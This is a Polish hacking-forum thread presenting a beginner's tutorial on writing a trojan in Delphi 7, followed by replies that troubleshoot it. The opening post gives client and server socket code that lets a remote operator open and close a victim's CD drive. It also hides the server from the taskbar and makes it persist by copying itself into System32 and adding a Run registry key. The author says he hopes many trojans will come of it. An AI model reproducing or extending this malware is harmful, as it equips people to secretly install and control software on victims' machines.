Pokaż wyniki od 1 do 12 z 12

Temat: Kurs Pisania Trojankow by Slayd

  1. #1
    Użytkownik
    Dołączył
    07-02-2005
    Skąd
    KrK
    Posty
    62

    Domyślnie Kurs Pisania Trojankow by Slayd

    Kurs napisany na delphi 7

    -->Zaczynam (Klient)
    Zaczynamy od Klienta. Uruchamiamy Delphi i wybieramy z menu File->New->Application. Teraz nazwiemy sobie aplikacje klikasz na forme (LPM- tylko raz) teraz w Object Inspector (po lewej stronie) Properites->Caption: np:klient (nazwa moze byc dowolna). Teraz wrzucamy na forme komponent internet->clientsocket. Serversocket bedzie nam potrzebny do server. Ustwiamy port do wybory (polecam wyskoki) klikamy raz na komponet, ktory jest na formie object Inspector i port wpisujemy port jak ma miec nasz trojan. Teraz wrzucamy na forme komponet edit Standart->Edit bedzie to nam potrzebne do wpisywania ip servera, Jeszcze wrzuc dawa buttony nazwij je sobie

    np: Polacz i Rozlacz. Klikamy dwa razy na button Polacz i wpisujemy:

    clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc

    clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem


    Pod buttonem Rozlacz wpisujemy:

    clientsocket1.active:=false; // client ma sie rozlaczyc

    Teraz przydalo by sie zrobic buttony pod ktorymi beda znajdowac sie funkcje np: Open Cd-Rom, Close Cd-Rom

    clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server

    Pod buttonem CD Close wpisujemy:

    clientsocket1.socket.SendText('cdclose');

    Zebysmy wiedzieli czy klient jest podlaczony czy odlaczony. Klikamy na clientsocket w Object Inspector zakladka Events i klikasz dwa razy na pole: OnConnect teraz piszemy co ma klient zrobic jezeli jest podlaczony:


    ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem

    i tak mozesz zrobic jeszcze z Onconnecting, Ondisconnect, Onerror.

    Dobra klienta mamy zrobionego teraz przechodzimy do servera


    --->Server

    Tworzymy nowa aplikacje. Wstawiamy komponent serversocket, ustawiamy w nim port taki jaki wpisalismy do klienta teraz zeby server byl aktywny zaraz po wlaczeniu kompa active:true. Przechodzimy do zakladki Events klikami dwa razy na OnClientRead (tu beda zmienne cdopen i cdclose) i wstawiamy cos tak:


    Przed begin wstawiamy

    var - to piszesz
    s:string; - to piszesz

    begin

    // pod Regin wstawiamy:

    s:=serversocket1.Socket.Connections[0].ReceiveText;

    if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
    begin
    mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
    end;

    if (s='close') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
    begin //
    mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
    end;


    Teraz klikamy w puste pole Forma ( projektu ) i u gory jest cos takiego:

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, shellapi, mmsystem, registry; // musimy dodac shellapi, mmsystem i registry




    Teraz zrobimy zeby server ukryl sie na komputerze ofiary. Klikamy na forme, i naciskamy CTRL+F12 Pojawi sie okienko: view unit, zaznaczamy project i ok. W kodzie

    zrodlowym znajdziesz takie linijki:

    begin
    Application.Initialize;
    Application.CreateForm(TForm1, Form1);
    Application.Run;
    application.showmainform:=false;// tak jak widac
    end.

    i przed Appication.Run; wpisujemy

    application.showmainform:=false; // server zostanie bedzie nie widoczny na pasku zadan tylko pod klawiszami ALT+CTRL+DEL


    Teraz jeszcze zostalo zeby server uruchomil sie przy karzdym starcje windowsa. Do uses dodajemy: registry teraz klikamy na forme Object Inspector->EVENTS->OnCreate ( klikasz dwa razy w puste pole )

    var
    reg:tregistry;
    begin

    Reg:=TRegistry.Create;
    try
    reg.RootKey:=HKEY_CURRENT_USER;
    reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersio nRun',True);
    reg.WriteString('SERVER','C:WINDOWSSystem32server. exe');
    copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem 32server.exe'),true);
    BorderIcons:= [biSystemMenu];
    finally
    end;
    end;

    I to chyba wszystko mam na dzieje ze po tym arcie powstanie duzo trojankow
    B&S Group
    Power By Slayd

    EDIT 1 : NiuNio przeprasza za blad ;]

  2. #2
    Użytkownik
    Dołączył
    24-10-2004
    Posty
    145

    Domyślnie

    hehe slayd sie namęczył to ja sie zabieram za czytanie i próbuje złożyć jakiegoś trojanka :-P :-P

  3. #3
    Użytkownik
    Dołączył
    07-02-2005
    Skąd
    KrK
    Posty
    62

    Domyślnie

    Bedzie cos dla poczatkujacych Jeszcze jak znajde to napisze funkcje

  4. #4
    Użytkownik
    Dołączył
    27-04-2004
    Posty
    321

    Domyślnie

    i znow bedzie nawal niepotrzebnych trojanow ehhhhh... :-( :?

  5. #5
    Dawni Moderatorzy
    Dołączył
    12-08-2004
    Skąd
    Internet :P
    Posty
    849

    Domyślnie

    Wszystko jest ale nie ma jednej rzeczy taki kurs to dla osób poczatkujacych ale mozna bylo by doadac do kursu jak wyslac text z serwera do klienta a nie tylko z klienta do serwera.

  6. #6
    Użytkownik
    Dołączył
    07-02-2005
    Skąd
    KrK
    Posty
    62

    Domyślnie

    Jak ktos jest kumaty to to rozkminia a ja napisalem tylko jak mozna w bardzo latwy sposób napisac bardzo latwego trojana.

    Pozdro

  7. #7
    Użytkownik
    Dołączył
    05-02-2005
    Posty
    114

    Domyślnie Problem

    Co prawda wszystko ładnie pisze ale, jak robie połącz wyskakuje połączony z serwerem,a jak klikna ok lub zamkne okienko to "Asynchronus socket error 10049"
    A oto kod:
    **************************************

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, ScktComp, Buttons;

    type
    TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Label1: TLabel;
    SpeedButton1: TSpeedButton;
    Button5: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
    Socket: TCustomWinSocket);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
    procedure Label1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    begin
    clientsocket1.Address:=edit1.text;
    clientsocket1.active:=true;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    begin
    clientsocket1.active:=false;
    end;

    procedure TForm1.ClientSocket1Connect(Sender: TObject;
    Socket: TCustomWinSocket);
    begin
    ShowMessage('Klient Polaczony z Serverem ')
    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
    clientsocket1.socket.SendText('cdopen');
    end;

    procedure TForm1.Button4Click(Sender: TObject);
    begin
    clientsocket1.socket.SendText('cdclose');
    end;

    procedure TForm1.Button5Click(Sender: TObject);
    begin
    ShellExecute(Handle,'open','rundll32','user,disabl eoemlayer',nil,SW_SHOWNORMAL);
    end;

    procedure TForm1.SpeedButton1Click(Sender: TObject);
    begin
    ShellExecute(Handle, 'open', 'http://www.portal.hwp.pl', nil, nil, SW_ShowMaximize);


    end;

    procedure TForm1.Label1Click(Sender: TObject);
    begin

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

    end;

    end.

    ********************************************
    Gdzie popełniłem błąd

  8. #8

    Domyślnie

    A server skompilowałes?

  9. #9
    Użytkownik
    Dołączył
    07-02-2005
    Skąd
    KrK
    Posty
    62

    Domyślnie

    Powiedz czy ci sie klient skompilowal czy wystapil jakis blad

  10. #10
    Użytkownik
    Dołączył
    24-10-2004
    Posty
    145

    Domyślnie

    a jak chcesz ukryć ten error to w komponencie ClientSocket i ServertSocket w zakładce OnError daj kod
    Kod:
    ErrorCode := 0

  11. #11
    Użytkownik
    Dołączył
    14-02-2005
    Skąd
    Niedaleko od Cz-wa
    Posty
    14

    Domyślnie

    Ja mam takie małe pytanko związane z komponentem clientsocket i serversocket jak się je
    umieszcza?? Bo jak ja dałem już po stworzeniu nowej aplikacji na zakładkę component później new component następnie wybrałem palette Page na internet to nie mogłem
    z najść tych komponentów?? Albo ja coś źle robię albo moje Delphi 7 Professional (nie
    zarejestrowane przez neta) nie posiada tych komponentów?? Chyba że jeszcze musze
    zarejestrować piracką wersję Delphi przez neta i może w tedy to zadziała??

  12. #12
    Użytkownik
    Dołączył
    18-11-2002
    Posty
    953

    Domyślnie

    bylo, trzeba je "doinstalowac" :] ---> dclsockets70.bpl

    http://4programmers.net/faq.php?id=278

    tu masz napisane

Podobne wątki

  1. C++ -kurs pisania botów
    Przez ulosok
    w forum C/C++/C#
    Odpowiedzi: 1
    Ostatni post / autor: 28-08-2009, 15:49
  2. Całkowity zakaz pisania o grach.
    Przez B33RK4
    w forum Uwagi propozycje dotyczace forum.
    Odpowiedzi: 45
    Ostatni post / autor: 03-09-2007, 10:48
  3. Problem z trojanem napisanym wg poradnika Slayd'a.
    Przez voyteck
    w forum Delphi/Pascal
    Odpowiedzi: 14
    Ostatni post / autor: 10-12-2006, 18:53
  4. BiG BeN by...BoBi&Slayd
    Przez bobikrk
    w forum Trojany - Made in Poland
    Odpowiedzi: 7
    Ostatni post / autor: 01-03-2005, 13:33
  5. Kurs pisania DLLi w C++
    Przez Vardi
    w forum Inne
    Odpowiedzi: 3
    Ostatni post / autor: 26-02-2005, 09:03

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •